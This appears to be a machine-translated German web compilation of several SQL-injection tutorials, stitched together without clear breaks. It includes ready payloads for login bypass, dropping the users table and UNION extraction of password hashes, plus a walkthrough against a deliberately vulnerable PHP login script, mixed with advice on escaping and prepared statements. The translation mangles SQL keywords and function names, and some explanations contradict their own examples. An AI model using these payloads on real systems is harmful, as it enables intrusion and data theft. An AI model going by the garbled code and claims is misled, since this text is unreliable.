Natürlich können Sie dieses Problem vermeiden, indem Sie in den Einstellungen „magische Anführungszeichen“ aktivieren. Aber jetzt werden die Daten dort gesichtet, wo sie nötig sind und wo nicht. Wenn der Code außerdem von Hand geschrieben wird, können Sie etwas mehr Zeit damit verbringen, selbst ein hacksicheres System zu erstellen.

Um selbst einen Schrägstrich hinzuzufügen, können Sie mysql_real_escape_string verwenden.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Obwohl das Volumen des Codes zugenommen hat, wird er möglicherweise immer noch viel sicherer funktionieren.

Platzhalter

Platzhalter sind eindeutige Markierungen, anhand derer das System erkennt, dass an dieser Stelle eine spezielle Funktion eingefügt werden muss. Zum Beispiel:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Dieser Codeabschnitt bereitet eine Anforderungsvorlage vor, bindet dann die Zahlenvariable und führt sie aus. Dieser Ansatz ermöglicht es Ihnen, die Anforderungsverarbeitung und deren Implementierung zu trennen. Auf diese Weise können Sie sich vor der Einschleusung von Schadcode in SQL-Abfragen schützen.

Was kann ein Angreifer tun?

Der Systemschutz ist ein sehr wichtiger Faktor, der nicht vernachlässigt werden darf. Natürlich lässt sich eine einfache Visitenkarten-Website leichter wiederherstellen. Was ist, wenn es sich um ein großes Portal, einen großen Dienst oder ein großes Forum handelt? Welche Konsequenzen kann es haben, wenn Sie nicht an die Sicherheit denken?

Erstens kann ein Hacker sowohl die Integrität der Datenbank verletzen als auch sie vollständig löschen. Und wenn der Site-Administrator oder Hoster kein Backup erstellt hat, wird es schwierig. Darüber hinaus kann ein Angreifer, nachdem er eine Site gehackt hat, zu anderen Websites wechseln, die auf demselben Server gehostet werden.

Als nächstes kommt der Diebstahl der persönlichen Daten der Besucher. Wie man sie nutzt, ist nur durch die Vorstellungskraft des Hackers begrenzt. Aber auf jeden Fall werden die Folgen nicht sehr angenehm sein. Vor allem, wenn es Finanzinformationen enthielt.

Ein Angreifer kann die Datenbank auch an sich selbst weitergeben und dann Geld für die Rückgabe erpressen.

Auch Fehlinformationen von Nutzern im Namen einer Person, die sie nicht sind, können negative Folgen haben, da Betrugsfälle möglich sind.

Abschluss

Alle Informationen in diesem Artikel dienen ausschließlich Informationszwecken. Sie sollten es nur zum Testen Ihrer eigenen Projekte verwenden, um Schwachstellen zu identifizieren und zu beseitigen.

Für eine eingehendere Untersuchung der Methodik zur Durchführung einer SQL-Injection müssen Sie zunächst die Fähigkeiten und Merkmale der SQL-Sprache tatsächlich untersuchen. Wie Abfragen zusammengesetzt sind, Schlüsselwörter, Datentypen und die Anwendung all dessen.

Sie können auch nicht darauf verzichten, zu verstehen, wie PHP-Funktionen und HTML-Elemente funktionieren. Die größten Schwachstellen bei der Verwendung von Injektionen sind die Adressleiste, die Suche und verschiedene Felder. Das Studium der PHP-Funktionen, ihrer Implementierung und ihrer Fähigkeiten wird Ihnen helfen zu verstehen, wie Sie Fehler vermeiden können.

Das Vorhandensein vieler vorgefertigter Softwaretools ermöglicht Ihnen eine eingehende Analyse der Website auf bekannte Schwachstellen. Eines der beliebtesten Produkte ist Kali Linux. Dies ist ein Abbild eines Linux-basierten Betriebssystems, das eine große Anzahl von Dienstprogrammen und Programmen enthält, die eine umfassende Analyse der Website auf Stärke durchführen können.

Warum müssen Sie wissen, wie man eine Website hackt? Alles ist ganz einfach – dies ist notwendig, um eine Vorstellung von den potenziell anfälligen Bereichen Ihres Projekts oder Ihrer Website zu bekommen. Vor allem, wenn es sich um einen Online-Shop mit Online-Zahlungsmöglichkeit handelt, bei dem die Zahlungsdaten des Benutzers von einem Angreifer kompromittiert werden können.

Für eine professionelle Recherche können Informationssicherheitsdienste die Website nach unterschiedlichen Kriterien und in unterschiedlicher Tiefe prüfen. Angefangen von der einfachen HTML-Injection bis hin zu Social Engineering und Phishing.

Wir wünschen Ihnen viel Erfolg bei der Fertigstellung. Die Ergebnisse Ihrer Prüfung werden später veröffentlicht (verfolgen Sie die Nachrichten in den sozialen Netzwerken) und allen, die bestanden haben, wird ebenfalls eine E-Mail zugesandt einladen um sich auf der Website zu registrieren.

Liken, mit Freunden und Kollegen teilen, in sozialen Netzwerken erneut posten.

Alle Programmierer haben Methoden zum Hacken der Website-Sicherheit gelesen oder zumindest davon gehört. Oder bin sogar auf dieses Problem gestoßen. Andererseits sind der Fantasie derjenigen, die die Website zerstören wollen, keine Grenzen gesetzt, sodass alle Engpässe gut geschützt werden müssen. Aus diesem Grund möchte ich eine Reihe kurzer Artikel beginnen, die grundlegende Methoden und Techniken zum Hacken von Websites vorstellen.

Im ersten Artikel möchte ich einige gängige Methoden zum Hacken eines der anfälligsten Teile der Website – Formulare – beschreiben und erklären. Ich werde im Detail darauf eingehen, wie man diese Techniken nutzt und wie man Angriffe verhindert, und auch auf Sicherheitstests eingehen.

SQL-Injektion

SQL-Injection ist eine Technik, bei der ein Angreifer SQL-Befehle in ein Eingabefeld auf einer Webseite eingibt. Diese Eingabe kann alles sein – ein Textfeld in einem Formular, _GET- und _POST-Parameter, Cookies usw. Diese Methode war vor dem Aufkommen von Frameworks in der PHP-Welt sehr effektiv. Dieser Hack kann jedoch immer noch gefährlich sein, wenn Sie kein ORM oder andere Erweiterungen des Datenobjekts verwenden. Warum? Aufgrund der Art und Weise, wie Parameter an die SQL-Abfrage übergeben werden.

„Blinde“ Injektionen

Beginnen wir mit einem klassischen Beispiel einer SQL-Anweisung, die dem Benutzer seinen Login- und Passwort-Hash zurückgibt (Anmeldeseite).

Beispiel 1

mysql_query("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Aufgrund der unterschiedlichen Varianten dieser Lösung habe ich Fragezeichen in den Ausdruck gesetzt. Die erste Option ist meiner Meinung nach die anfälligste:

Beispiel 1a

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

In diesem Fall prüft der Code nicht auf ungültige Dateneingaben. Werte werden direkt vom Eingabeformular an die SQL-Abfrage übergeben. Im besten Fall gibt der Benutzer hier seinen Benutzernamen und sein Passwort ein. Was ist das Worst-Case-Szenario? Versuchen wir, dieses Formular zu hacken. Dies kann durch die Übergabe „vorbereiteter“ Daten erfolgen. Versuchen wir, uns als erster Benutzer aus der Datenbank anzumelden. In den meisten Fällen ist dies das Administratorkonto. Dazu übergeben wir statt der Eingabe des Logins einen speziellen String:

" ODER 1=1; --

Das erste Zitat kann auch ein einzelnes Zitat sein, sodass ein Hackversuch möglicherweise nicht ausreicht. Am Ende steht ein Semikolon und zwei Bindestriche, sodass alles, was danach kommt, zu einem Kommentar wird. Als Ergebnis wird die folgende SQL-Abfrage ausgeführt:

SELECT id, login FROM users WHERE login = „;“ ODER 1=1 LIMIT 0,1; - und Passwort = Hash(“;Einiges Passwort”)

Es gibt den ersten Benutzer aus der Datenbank zurück und meldet sich möglicherweise als dieser Benutzer bei der Anwendung an. Ein guter Schritt wäre, LIMIT hinzuzufügen, um sich als jeder einzelne Benutzer anzumelden. Dies ist das Einzige, was zum Durchlaufen jedes Werts erforderlich ist.

Ernsthaftere Wege

Im vorherigen Beispiel ist alles nicht so gruselig. Die Optionen im Admin-Kontrollfeld sind immer begrenzt und es würde viel Arbeit erfordern, die Site tatsächlich kaputt zu machen. Ein Angriff per SQL-Injection kann jedoch zu weitaus größerem Schaden im System führen. Überlegen Sie, wie viele Anwendungen mit der Haupttabelle „Benutzer“ erstellt werden und was passieren würde, wenn ein Angreifer Code wie diesen in ein ungeschütztes Formular eingibt:

Mein Lieblings-Login"; DROP TABLE-Benutzer; --

Die Tabelle „Benutzer“ wird gelöscht. Dies ist einer der Gründe, häufiger Datenbanksicherungen durchzuführen.

_GET-Parameter

Alle über das Formular ausgefüllten Parameter werden mit einer von zwei Methoden an den Server übertragen: GET oder POST. Der am häufigsten über GET übergebene Parameter ist id. Dies ist einer der anfälligsten Orte für Angriffe, und es spielt keine Rolle, welche Art von URL Sie verwenden – „http://example.com/“ Benutzer/?id=1`, oder ` http://example.com/ Benutzer/1`, oder ` http://......./.../ Post/35 `.

Was passiert, wenn wir den folgenden Code in die URL einfügen?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Wahrscheinlich wird eine solche Anfrage das Login des Benutzers und ... einen Hash seines Passworts zurückgeben. Der erste Teil der Anfrage „AND 1=0“ verwandelt das Vorhergehende in „falsch“, sodass keine Datensätze empfangen werden. Und der zweite Teil der Anfrage gibt Daten in Form vorbereiteter Daten zurück. Und da der erste Parameter die ID ist, ist der nächste der Login des Benutzers und der Hash seines Passworts sowie einige andere Parameter. Es gibt viele Programme, die Brute-Force verwenden, um ein Passwort zu entschlüsseln, wie das im Beispiel. Und da der Benutzer dasselbe Passwort für verschiedene Dienste verwenden kann, ist es möglich, Zugriff darauf zu erhalten.

Und das Merkwürdige: Es ist völlig unmöglich, sich gegen diese Art von Angriff mit Methoden wie „mysql_real_escape_string“, „addslashes“ usw. zu verteidigen. d. Grundsätzlich gibt es keine Möglichkeit, einen solchen Angriff zu vermeiden. Wenn die Parameter also wie folgt übergeben werden:

„SELECT id, login, email, param1 FROM users WHERE id = “. addslashes($_GET["id"]);"

Die Probleme werden nicht verschwinden.

Escape-Zeichen in einer Zeichenfolge

Als ich neu in der Programmierung war, fiel es mir schwer, mit Kodierungen zu arbeiten. Ich habe nicht verstanden, was der Unterschied zwischen ihnen ist, warum UTF-8 verwenden, wenn Sie UTF-16 benötigen, warum die Datenbank die Kodierung immer auf latin1 setzt. Als ich das alles endlich zu verstehen begann, stellte ich fest, dass es weniger Probleme geben würde, wenn ich alles in einem Codierungsstandard belassen würde. Während ich das alles durchging, sind mir auch Sicherheitsprobleme aufgefallen, die bei der Konvertierung von einer Kodierung in eine andere auftreten.

Die in den meisten vorherigen Beispielen beschriebenen Probleme können durch die Verwendung von einfachen Anführungszeichen in Abfragen vermieden werden. Wenn Sie addslashes() verwenden, schlagen SQL-Injection-Angriffe fehl, die auf einfachen Anführungszeichen basieren, die mit einem Backslash maskiert sind. Aber ein solcher Angriff kann funktionieren, wenn Sie einfach ein Zeichen mit dem Code 0xbf27 ersetzen, addslashes() es in ein Zeichen mit dem Code 0xbf5c27 umwandelt – und das ist ein völlig gültiges einfaches Anführungszeichen. Mit anderen Worten: „뼧“ durchläuft addslashes() und wird dann durch MySQL-Mapping in zwei Zeichen umgewandelt: 0xbf (¿) und 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Dieses Beispiel kann gehackt werden, indem 뼧 oder 1=1; -- im Login-Feld im Formular. Die SQL-Engine generiert die endgültige Abfrage wie folgt:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

Und es wird der erste Benutzer aus der Datenbank zurückgegeben.

Schutz

Wie schützt man die Anwendung? Es gibt viele Methoden, deren Einsatz die Anwendung nicht völlig unverwundbar macht, aber zumindest ihre Sicherheit erhöht.

Verwendung von mysql_real_escape_string

Die Funktion addslashes() ist unzuverlässig, da sie viele Hacking-Fälle nicht zulässt. mysql_real_escape_string hat solche Probleme nicht

Verwendung von MySQLi

Diese MySQL-Erweiterung kann mit verwandten Parametern arbeiten:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Verwendung von PDO

Langer Weg zum Ersetzen von Parametern:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // eine Zeile einfügen $name = "one"; $value = 1; $stmt->execute();

Kurzer Weg:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Verwendung von ORM

Verwenden Sie ORM- und PDO- und Bind-Parameter (verwenden Sie Bind). Vermeiden Sie SQL in Ihrem Code. Wenn Sie SQL in Ihrem Code sehen, stimmt etwas nicht.

ORM kümmert sich um die Sicherheit bei Engpässen bei der Code- und Parametervalidierung.

Schlussfolgerungen

Der Zweck dieser Serie besteht nicht darin, eine vollständige Anleitung zum Hacken von Websites bereitzustellen, sondern darin, die Anwendungssicherheit zu gewährleisten und Angriffe aus jeglicher Quelle zu verhindern. Ich habe versucht, diesen Artikel nicht nur für Programmierer zu schreiben – sie sollten sich aller Bedrohungen im Code bewusst sein und wissen, wie man sie verhindert, sondern auch für Qualitätsingenieure – denn ihre Aufgabe ist es, solche Probleme zu verfolgen und zu melden.

Die Essenz von SQL-Injections

Sie haben den Witz wahrscheinlich schon aus dem Internet gehört: „ Warum ist es in allen Zeichenstunden gleich: Zum Beispiel eine Lektion zum Zeichnen einer Eule. Zuerst zeichnen wir eine halbe Stunde lang detailliert das Auge der Eule. Und dann zeichnen wir alle fünf Minuten den Rest der Eule».

Es gibt sogar ein Bild dazu:

Es gibt viel Material zu SQL-Injections: Artikel, Bücher, Videokurse (kostenpflichtig und kostenlos). Allerdings tragen nicht viele von ihnen zu diesem Thema bei. Vor allem, wenn Sie ein Anfänger sind. Ich erinnere mich noch gut an meine Gefühle: Hier ist der Kreis, hier ist der Rest der Eule ...

Der Zweck dieser Notiz besteht darin, den Blick auf die Eule zu lenken und eine normale, einfache Erklärung zu geben. Was sind SQL-Injections, was ist ihr Wesen, wie gefährlich sind sie und warum?.

Für Experimente verwenden wir ein sehr einfaches Skript, das anfällig für SQL-Injection ist:

Um auf die Regionalbibliothek Bobruisk zuzugreifen, geben Sie Ihre Zugangsdaten ein:

Gib deinen Namen ein

Geben Sie Ihr Passwort ein


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET Character_set_client = UTF8"); $mysqli->query("SET Character_set_connection = UTF8"); $mysqli->query("SET Character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Ihr Name:$obj->name

Dein Status:$obj->status

Für Sie verfügbare Bücher:$obj->books


"; ) ) else ( printf("Fehler: %sn", $mysqli->error); ) $mysqli->close(); ?>

Du wirst viel mehr verstehen, wenn du alles mit mir machst. Hier ist es also. Es enthält zwei Dateien: index.php Und db_library.sql. Platzieren Sie die Datei index.php an einer beliebigen Stelle auf dem Server – dies ist unser anfälliges Skript. Und die Datei db_library.sql muss beispielsweise mit phpMyAdmin importiert werden.

In der Datei index.php ist der Datenbank-Benutzername auf „root“ eingestellt und das Passwort ist leer. Sie können Ihre Daten eingeben, indem Sie die Zeile bearbeiten:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Der Legende nach handelt es sich dabei um ein Anmeldeformular für die Online-Version der Regionalbibliothek Bobruisk. Wir haben bereits die Berechtigungsnachweise erhalten: Benutzername – Demo, Passwort – 111.

Geben wir sie ein und sehen:

Unsere Anmeldedaten wurden akzeptiert, unser Name, Status und die uns zur Verfügung stehenden Bücher werden auf den Bildschirmen angezeigt. Sie können es versuchen. Mit anderen Daten (wenn Sie Ihren Namen oder Ihr Passwort ändern) können wir uns nicht anmelden und die zum Lesen verfügbaren Bücher nicht anzeigen. Wir haben auch keine Möglichkeit herauszufinden, welche Bücher für andere verfügbar sind, da wir deren Benutzernamen und Passwort nicht kennen.

Schauen wir uns den Quellcode an, um zu verstehen, wie die Datenbankanforderung erfolgt ist:
Wort WÄHLEN in einer SQL-Abfrage zeigt, welche Daten abgerufen werden müssen. Sie könnten beispielsweise SELECT name oder SELECT name, passwort angeben. Dann würde im ersten Fall nur der Name aus der Tabelle entnommen, im zweiten Fall nur der Name und das Passwort. Das Sternchen besagt, dass Sie alle Werte abrufen müssen. Diese. SELECT * – das bedeutet, alle Werte abzurufen.

AUS sagt, woher Sie sie bekommen müssen. Auf das FROM folgt der Tabellenname, d. h. der FROM-Eintrag „members“ besagt, dass aus der Tabelle „members“ entnommen werden soll.

Weiter WO Wenn Sie Programmiersprachen studiert haben, ähnelt dieses Wort am ehesten „If“. Und dann gibt es noch Bedingungen, diese Bedingungen können wahr (1) oder falsch (0) sein. In unserem Fall

(name = ‚$name‘) UND (passwort =‘$password‘)

bedeutet, dass die Bedingung wahr ist, wenn die übergebene Variable $name gleich dem Wert des Namensfelds in der Tabelle ist und die übergebene Variable '$password gleich dem Wert des Passwortfelds in der Tabelle ist. Wenn mindestens eine Bedingung nicht erfüllt ist (falscher Benutzername oder falsches Passwort), wird nichts aus der Tabelle entnommen, d. h. der Ausdruck SELECT * FROM `members` WHERE name = '$name' AND password ='$password' bedeutet: in Nehmen Sie in der Tabelle „Mitglieder“ die Werte aller Felder, wenn die Bedingung für sie erfüllt ist – der übergebene Benutzername und das Passwort stimmen mit denen in der Tabelle überein.

Das ist klar. Fügen wir nun zum Beispiel ein einfaches Anführungszeichen mit dem Benutzernamen ein:

Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Es wurden keine Daten empfangen, stattdessen sehen wir einen Fehler:
Nachdem wir die korrekten Daten eingegeben hatten, sah unsere Anfrage so aus:
Durch das Hinzufügen eines Zitats wird unsere Abfrage zu:
Der Klarheit halber habe ich zusätzliche Leerzeichen gesetzt, d. h. wir erhalten die Anfrage
Die Anfrage ist übrigens syntaktisch korrekt. Und direkt danach, ohne Trennzeichen, geht die Anfrage weiter:

„UND Passwort="111"

Das ist es, was alles kaputt macht, da die Anzahl der Eröffnungs- und Schlusszitate nicht gleich ist. Sie können beispielsweise ein weiteres Zitat einfügen:
Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Der Fehler ist verschwunden, die Anfrage hat dadurch jedoch keine Bedeutung. Der bedeutungslose Schwanz der Anfrage stört uns. Wie können wir es loswerden?

Es gibt eine Antwort – das sind Kommentare.

Kommentare in MySQL können auf drei Arten angegeben werden:

  1. # (Hash – funktioniert bis zum Ende der Zeile)
  2. - (zwei Bindestriche – arbeiten Sie bis zum Ende der Zeile, nach zwei Bindestrichen benötigen Sie ein Leerzeichen)
  3. /* das ist ein Kommentar */ eine Gruppe von vier Zeichen – alles darin ist ein Kommentar, alles vor oder nach dieser Zeichengruppe gilt nicht als Kommentar.
Fügen wir unserer Abfrage einen Kommentar mit einem Anführungszeichen hinzu. Nach diesem Zitat fügen wir ein Kommentarzeichen ein, um das Ende zu verwerfen, und ein +-Zeichen, das ein Leerzeichen angibt, sodass die Abfrage wie folgt aussieht:
Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Der Fehler verschwand nicht nur, sondern es wurden auch die korrekten Daten für den Demo-Benutzer angezeigt. Seitdem hat unsere Anfrage die Form angenommen
Immerhin der Pferdeschwanz -+ ‘ UND Passwort =’111’ in einen Kommentar umgewandelt und hat keinen Einfluss mehr auf die Anfrage.

Schauen Sie sich die neue Anfrage noch einmal an:
Und das Passwort wird nicht mehr überprüft! Diese. Da wir die Namen legitimer Benutzer, aber nicht ihre Passwörter kennen, können wir ihre persönlichen Daten einsehen. Diese. Wir haben bereits damit begonnen, SQL-Injection auszunutzen.

Leider kenne ich keine seriösen Namen und muss mir etwas anderes einfallen lassen.

Schauen wir uns diesen Teil der Anfrage genauer an:
Erinnern Sie sich an das UND, das in der ersten Abfrage verwendet wird? Es steht für logische UND-Verknüpfung. Ich möchte Sie daran erinnern, dass die logische Operation „AND“ nur dann „wahr“ (1) ergibt, wenn beide Ausdrücke wahr sind. Aber der logische Operator „OR“ ergibt „wahr“ (1), selbst wenn mindestens einer der Ausdrücke wahr ist. Diese. Ausdruck
immer wahr sein wird, wird immer 1 zurückgeben. Weil einer der beiden verglichenen Ausdrücke immer 1 zurückgeben wird.

Diese. Wir müssen einen Ausdruck erstellen, der so aussieht:
Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ ODER 1 -+ &password=111

Ergebnis:

Das Ergebnis ist hervorragend! Wir haben eine Liste aller Datensätze in der Tabelle erhalten.

ORDER BY und UNION sind die Hauptfreunde von SQL-Injections

Wir haben bereits Daten erhalten, auf die Personen ohne gültigen Benutzernamen und Passwort keinen Zugriff hatten. Gibt es noch etwas, das ich bekommen kann? Ja, Sie können einen vollständigen Dump dieser Tabelle erhalten (ich möchte Sie daran erinnern, dass wir immer noch keine Passwörter haben. Darüber hinaus können wir durch ein kleines Loch alle Daten aus allen Datenbanken auf diesem Server abrufen!

UNION ermöglicht die Kombination von SQL-Abfragen. Im wirklichen Leben sind meine Aufgaben einfache und daher einfache Abfragen von Datenbanken und Funktionen UNION Ich benutze es nicht. Aber für SQL-Injections gibt es kein wertvolleres Wort als dieses.

UNION ermöglicht es Ihnen, SQL-Abfragen ganz flexibel mit SELECT zu kombinieren, auch aus verschiedenen Datenbanken. Es gibt jedoch eine wichtige Syntaxanforderung: Die Anzahl der Spalten im ersten SELECT muss der Anzahl der Spalten im zweiten SELECT entsprechen.

SORTIEREN NACH legt die Sortierung der aus der Tabelle empfangenen Daten fest. Sie können nach Spaltenname oder nach Spaltennummer sortieren. Wenn außerdem keine Spalte mit dieser Nummer vorhanden ist, wird ein Fehler angezeigt:

Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Die Anfrage sieht so aus:
Wir haben den Benutzernamen durch -1 ersetzt, damit keine Daten angezeigt werden.

Es gibt keinen Fehler, es gibt auch keinen Fehler bei Anfragen
Und hier ist die Bitte
es entspricht der Adressleiste

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Ich habe einen Fehler erhalten

Das bedeutet, dass Daten aus der Tabelle in fünf Spalten ausgewählt werden.

Wir erstellen unsere Abfrage mit UNION:

Wie gesagt, die Anzahl der Felder sollte in beiden SELECTs gleich sein, aber was in diesen Feldern steht, ist nicht sehr wichtig. Sie können zum Beispiel einfach Zahlen eingeben – und schon werden Ihnen diese angezeigt. Sie können NULL eingeben – dann wird statt des Feldes nichts angezeigt.
Adressleiste:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Eine andere Möglichkeit, die Anzahl der Spalten zu ermitteln, ist die Verwendung derselben UNION. Mithilfe einer Leiter addieren wir die Anzahl der Spalten:
Sie werden alle den gleichen Fehler erzeugen:

Tun Sie dies, bis die Fehlermeldung verschwindet.

Bitte beachten Sie, dass der Inhalt einiger UNION SELECT 1,2,3,4,5-Felder auf dem Bildschirm angezeigt wird. Anstelle von Zahlen können Sie auch Funktionen angeben.

Was soll in SELECT geschrieben werden?

Es gibt einige Funktionen, die direkt in UNION geschrieben werden können:

  • DATENBANK()- Zeigt den Namen der aktuellen Datenbank an
  • CURRENT_USER()- zeigt Benutzernamen und Hostnamen an
  • @@Datenverzeichnis- Zeigt den absoluten Pfad zur Datenbank an
  • BENUTZER()- Benutzername
  • AUSFÜHRUNG()- Datenbankversion
In unserem Beispiel werden die Felder 2, 4 und 5 angezeigt. D.h. Wir können jedes dieser Felder verwenden.

Verwendung von DATABASE() in UNION SELECT

Adresse:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Ergebnis:

Tabellennamen, Felder und Datenbank-Dump abrufen

In der Datenbank informationsschema Es gibt eine Tabelle namens Tische. Diese Tabelle enthält eine Liste aller Tabellen, die in allen Datenbanken auf diesem Server vorhanden sind. Wir können unsere Tabellen auswählen, indem wir im Feld suchen Tabellenschema Der Name unserer Datenbank ist „db_library“ (wir haben den Namen mit DATABASE() gefunden).

Dies wird als vollständige UNION-Technik bezeichnet. Im Internet gibt es dazu jede Menge Material. Auf meinem MySQL-Server funktioniert die vollständige UNION-Technik nicht. Ich erhalte eine Fehlermeldung
Aufgrund der Krümmung der Arme funktioniert es nicht, da diese Technik auch für sqlmap keine Ergebnisse bringt:

Bei der vollständigen UNION-Technik ist ein Fehler aufgetreten (möglicherweise aufgrund der Beschränkung der abgerufenen Anzahl von Einträgen). Rückgriff auf die teilweise UNION-Technik

Dies kann an der MySQL-Version 5.6 liegen. Weil Ich kann keine praktischen Beispiele nennen, und ich bin nicht daran interessiert, die kaputten Befehle anderer Leute umzuschreiben. Jetzt gibt es im Internet auch ohne mich so viele „große Theoretiker“, wie Sie möchten, also habe ich beschlossen, sofort weiterzumachen unter Berücksichtigung der partiellen UNION-Technik. Dies ist jedoch nicht die einfachste Technik und der Artikel ist bereits ziemlich lang.

Im nächsten Teil des Artikels werden wir die partielle UNION-Technik untersuchen. Mit ihrer Hilfe erhalten wir alle Daten auf dem Server: die Namen der Datenbanken, die Namen ihrer Tabellen und Felder in diesen Tabellen sowie deren Inhalte . Während Sie auf das Erscheinen des zweiten Teils warten, üben Sie, lesen Sie etwas über SQL-Injections und die UNION-Technik; die folgenden Artikel werden ebenfalls zum Lesen empfohlen:

P.S. Oh ja, ich habe LIMIT vergessen. Das nächste Mal werde ich auch über die Rolle von LIMIT bei SQL-Injections sprechen.

SQL-Injections – das Einbetten von Schadcode in Datenbankabfragen – sind die gefährlichste Angriffsart. Mithilfe von SQL-Injections kann ein Angreifer nicht nur private Informationen aus der Datenbank abrufen, sondern unter bestimmten Voraussetzungen auch Änderungen dort vornehmen.

Die SQL-Injection-Schwachstelle tritt auf, weil Benutzerinformationen ohne ordnungsgemäße Verarbeitung in eine Datenbankabfrage eingefügt werden: Um sicherzustellen, dass das Skript nicht angreifbar ist, muss sichergestellt werden, dass alle Benutzerdaten in allen Datenbankabfragen in maskierter Form ankommen. Der Grundsatz der Universalität ist der Grundstein: Ein in einem Skript begangener Verstoß macht das gesamte System angreifbar.

Beispiel einer Schwachstelle

Nehmen wir an, es gibt ein Skript, das eine Liste von Benutzern aus einer bestimmten Stadt anzeigt und dabei die Stadt-ID als GET-Parameter verwendet. Der Zugriff auf das Skript erfolgt über HTTP unter /users.php?cityid=20

Im obigen Skript fügt der Entwickler einen GET-Parameter in die SQL-Abfrage ein, was bedeutet, dass der GET-Parameter immer eine Zahl enthält. Ein Angreifer könnte einen String als Parameter übergeben und so die Anfrage verfälschen. Der Zugriff auf das Skript erfolgt beispielsweise als /users.php?cityid=20; * VON Benutzern LÖSCHEN
Die SQL-Abfrage sieht folgendermaßen aus:

Die Anfrage wird ausgeführt und das Skript gibt nicht nur Benutzer aus der angegebenen Stadt zurück, sondern auch eine Liste aller Benutzer, deren Passwort anstelle ihres echten Namens angezeigt wird.

Wie schützt man sich?

Lassen Sie uns die Benutzerinformationen in einfache Anführungszeichen setzen. Wird das helfen?

Aus dem obigen Beispiel können Sie ersehen, dass das Einschließen von einfachen Anführungszeichen nicht ausreicht. Sie müssen außerdem alle in der Zeichenfolge enthaltenen Anführungszeichen maskieren. Zu diesem Zweck stellt PHP die Funktion mysql_real_escape_string() bereit, die vor jedem Anführungszeichen, Backquote und einigen anderen Sonderzeichen einen Backslash einfügt. Schauen wir uns den Code an:

Zum Schutz vor SQL-Injections müssen daher alle externen Parameter, die möglicherweise Text enthalten, mit verarbeitet werden mysql_real_escape_string() und werden in einfache Anführungszeichen gesetzt.

Wenn Sie wissen, dass ein Parameter einen numerischen Wert annehmen soll, können Sie ihn mithilfe der Funktion explizit in eine numerische Form umwandeln intval() oder floatval(). In diesem Beispiel könnten wir Folgendes verwenden:

$sql = „SELECT Benutzername, echter Name
VON Benutzern
WO Stadt-ID=""
.Intervall ( $_GET ["cityid" ] ) .""" ;

Unterschiede zwischen mysql_real_escape_string() und mysql_escape_string()

mysql_real_escape_string() ist eine verbesserte Version der Funktion mysql_escape_string(), die häufig zum Generieren sicherer Abfragen an die MySQL-Datenbank verwendet wird. Der Unterschied zwischen diesen beiden Funktionen besteht darin, dass mysql_real_escape_string() korrekt mit Multibyte-Kodierungen funktioniert.

Angenommen, es gibt ein Zeichen in den verarbeiteten Daten (z. B. in UTF-8), dessen Code aus zwei Bytes besteht – hexadezimal 27 und 2B (dezimal 39 bzw. 43). mysql_escape_string() behandelt jedes an ihn übergebene Datenbyte als separates Zeichen (genauer gesagt als den Code eines separaten Zeichens) und entscheidet, dass die Folge der Bytes 27 und 2B zwei verschiedene Zeichen sind: ein einfaches Anführungszeichen (") und ein plus (+). Da die Funktion ein Anführungszeichen als Sonderzeichen akzeptiert, wird vor dem Byte mit Code 27 ein Schrägstrich (\) eingefügt, der eigentlich Teil eines harmlosen Zeichens ist. Als Ergebnis werden die Daten an gesendet die Datenbank in verzerrter Form.

Es ist erwähnenswert, dass mysql_real_escape_string() in allen Fällen korrekt funktioniert und mysql_escape_string() vollständig ersetzen kann.

mysql_real_escape_string() ist in PHP seit Version 4.3.0 verfügbar.

Zusätzliche Beispiele

Wir haben uns das einfachste Beispiel angesehen, aber in der Praxis kann eine anfällige Abfrage komplexer sein und ihre Ergebnisse dem Benutzer nicht anzeigen. Als nächstes betrachten wir Beispiele für SQL-Injections in einigen komplexeren Fällen, ohne Anspruch auf Vollständigkeit zu erheben.

Injektion in komplexe Abfragen

Im einfachsten Beispiel war es möglich, Code am Ende der SQL-Abfrage einzubetten. In der Praxis können am Ende einer SQL-Abfrage zusätzliche Bedingungen, Sortieroperatoren, Gruppierungen und andere SQL-Konstrukte stehen. In jedem konkreten Fall wird der Angreifer versuchen, einen schädlichen Teil so einzubetten, dass die Anfrage insgesamt syntaktisch korrekt bleibt, aber eine andere Funktion erfüllt. Hier sehen wir uns das einfachste Beispiel einer anfälligen Anfrage mit einer zusätzlichen Bedingung an.

